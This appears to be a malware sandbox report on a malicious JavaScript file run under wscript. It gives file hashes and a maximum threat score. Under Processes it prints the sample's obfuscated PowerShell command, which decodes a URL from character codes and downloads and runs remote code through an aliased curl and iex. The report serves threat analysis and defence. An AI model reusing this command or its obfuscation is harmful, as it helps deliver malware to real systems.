Overview

overview

10

Static

static

1

data_5_jul_7875281.js

windows7-x64

10

data_5_jul_7875281.js

windows10-2004-x64

10

Resubmissions

05/07/2023, 19:03

230705-xqsg5afc98 10

05/07/2023, 18:01

230705-wl21bsgd3z 10

Analysis

  • max time kernel
    30s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7-20230705-en
  • resource tags

    arch:x64arch:x86image:win7-20230705-enlocale:en-usos:windows7-x64system
  • submitted
    05/07/2023, 18:01

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    data_5_jul_7875281.js

  • Size

    463KB

  • MD5

    e6c74131e7c9acfca0416c8667e0c32b

  • SHA1

    82c5ef8605a4410b2d92acc4fda91a2682cb2e41

  • SHA256

    a6525296c2100158e2a47746f11b883c8a6a79a475ac19d27854111e105eec60

  • SHA512

    abd25fa765ae7435faa85723a51520f490ce4621d5a0938925fc569075947c72ab3a262d9e869a024523fefdab72d9ca04cdbde9131210c4f5b597345d81aac2

  • SSDEEP

    6144:XyhAQyjLYJvxBLJo9b7owShsY/Yrh6qFs9nZT6nP/B9nYr7:g

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\data_5_jul_7875281.js
    1⤵
      PID:3020
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(4390,4408,4410,4413,4409,4405,4339,4395,4410,4403,4340,4342,4339,4405,4397,4405,4356,4397,4390,4408,4397,4354)|foreach{$rcqwoabvegdk=$rcqwoabvegdk+[char]($_-4293);$cxflztpqoeub=$rcqwoabvegdk};$togrsp='l'; new-alias tixxs cur$togrsp;$afswe=('sduzu',$cxflztpqoeub);.$([char](8892-8787)+'ex')(tixxs -useb "$afswe[1]")
      1⤵
      • Process spawned unexpected child process
      PID:2988

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads